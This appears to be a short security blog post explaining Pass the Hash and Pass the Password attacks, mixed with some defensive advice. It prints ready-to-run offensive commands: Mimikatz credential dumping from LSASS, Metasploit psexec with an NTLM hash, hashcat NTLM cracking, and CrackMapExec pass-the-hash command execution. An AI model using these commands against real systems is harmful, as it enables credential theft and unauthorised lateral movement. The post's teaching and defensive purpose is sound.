In this article, we explore the intricacies of Pass the Hash (PtH) and Pass the Password (PtP) attacks, two critical techniques used in offensive security and penetration testing. These attacks allow adversaries to exploit hashed credentials and cracked passwords to gain unauthorized access to systems and move laterally within a network.
What is a Pass the Hash Attack?
A Pass the Hash (PtH) attack involves stealing a hashed user credential and using it to authenticate a new session on the same network. Unlike traditional credential theft, this method does not require the attacker to crack the password. Instead, the attacker leverages the stored hash to bypass authentication mechanisms.
What is a Pass the Password Attack?
A Pass the Password (PtP) attack follows a similar concept but involves using a cracked password. Once the password is obtained, attackers can use it to move laterally across the network, exploiting shared credentials across multiple accounts.
Practical Commands and Techniques
1. Extracting Hashes with Mimikatz
Mimikatz is a powerful tool for extracting hashes from memory. Use the following commands:
<h1>Dump hashes from LSASS memory</h1> mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords
2. Pass the Hash Attack with Metasploit
Metasploit can be used to perform PtH attacks:
<h1>Use the psexec module</h1> use exploit/windows/smb/psexec set RHOSTS <target_ip> set SMBUser <username> set SMBPass <NTLM_hash> exploit
3. Cracking Hashes with Hashcat
Hashcat is a popular tool for cracking hashes. Use the following command to crack NTLM hashes:
hashcat -m 1000 <hash_file> <wordlist> -O
4. Lateral Movement with CrackMapExec
CrackMapExec is a versatile tool for lateral movement:
<h1>Pass the Hash with CrackMapExec</h1> crackmapexec smb <target_ip> -u <username> -H <NTLM_hash> -x <command>
What Undercode Say
Pass the Hash and Pass the Password attacks are potent techniques in the arsenal of penetration testers and adversaries alike. These attacks highlight the importance of robust credential management and the risks of reusing passwords across accounts. To mitigate these risks, organizations should implement Least Privilege Access, Multi-Factor Authentication (MFA), and Regular Password Rotation.
For defenders, tools like Sysmon and Windows Event Logs can help detect suspicious activities. Commands like `Get-WinEvent` in PowerShell can be used to analyze logs:
Get-WinEvent -LogName Security | Where-Object { $_.ID -eq 4624 }
Additionally, hardening systems with AppLocker and Credential Guard can prevent the extraction of hashes. For Linux systems, tools like Fail2Ban and SELinux can enhance security.
For further reading, check out these resources:
By understanding and implementing these techniques and defenses, cybersecurity professionals can better protect their networks from these advanced attacks.
References:
Hackers Feeds, Undercode AI
